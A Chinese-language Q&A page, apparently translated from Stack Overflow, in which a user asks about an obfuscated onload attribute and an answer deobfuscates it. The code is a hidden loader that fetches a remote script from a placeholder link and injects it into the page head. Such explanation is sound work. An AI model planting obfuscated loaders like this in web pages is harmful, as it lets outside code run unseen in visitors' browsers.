JavaScript onload()函数

时间:2019-11-05 06:19:32

标签: javascript html

我发现以下代码难以解释:

onload="
    str1 = new String();
    link = 'some link';
    id = 'myid';
    _q385310452924= (document[String[fromCharCode](108,111,99,97,116,105,111,110)][String[fromCharCode](112,114,111,116,111,99,111,108)]==String[fromCharCode](104,116,116,112,115,58))?String[fromCharCode](104,116,116,112,115,58,47,47):String[fromCharCode](104,116,116,112,58,47,47);
    _q319711340400=document[String[fromCharCode](99,114,101,97,116,101,69,108,101,109,101,110,116)](String[fromCharCode](115,99,114,105,112,116));
    _q319711340400[String[fromCharCode](116,121,112,101)]=String[fromCharCode](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
    _q319711340400[String[fromCharCode](97,115,121,110,99)] = String[fromCharCode](116,114,117,101);
    _q319711340400[String[fromCharCode](115,114,99)]=new Array(_q385310452924,link,String[fromCharCode](47,76,47,63,105,100,61),id).join(str1);
    if(document[String[fromCharCode](103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101)](String[fromCharCode](104,101,97,100))[0]){document[String[fromCharCode](103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101)](String[fromCharCode](104,101,97,100))[0][String[fromCharCode](97,112,112,101,110,100,67,104,105,108,100)](_q319711340400)}"

我已将所有fromCharCode(-,-,-)转换为真实单词,但我不理解javascript代码。如果有人可以指导我如何解释代码,我将不胜感激。谢谢

1 个答案:

答案 0 :(得分:1)

哇,这真是令人讨厌的代码

首先,此脚本真的有效吗?

如果有效,它应该像这样:

/* protocol */ _q385310452924 = document.location.protocol == "https" ? "https://" : "http://";
/* script   */ _q319711340400 = document.createElement("script");
/* script   */ _q319711340400.type = "text/javascript";
/* script   */ _q319711340400.async = "true";
/* script   */ _q319711340400.src = new Array(_q385310452924 /* protocol */,
                                              link,
                                              "/L/?id=",
                                              id).join(str1);
if (document.getElementsByTagName("head")[0]) {
    document.getElementsByTagName("head")[0].appendChild(_q319711340400);
}

因此,基本上,它要做的就是检查协议,创建一个新的异步加载脚本,其src =“ http(s):// [link] / L /?id = [id]”并将其添加到html的<head>标记(如果存在<head>标记。